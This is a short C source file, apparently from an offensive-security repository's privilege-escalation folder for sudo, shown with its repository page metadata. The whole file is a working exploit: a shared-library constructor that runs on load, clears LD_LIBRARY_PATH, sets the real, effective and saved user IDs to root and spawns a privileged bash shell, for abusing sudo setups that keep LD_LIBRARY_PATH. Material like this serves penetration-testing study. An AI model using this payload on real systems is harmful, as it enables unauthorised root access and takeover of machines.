killchain-compendium/post exploitation/priv_esc/sudo/library_path.c

11 lines
184 B
C
Raw Normal View History

2021-08-23 01:13:54 +02:00
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}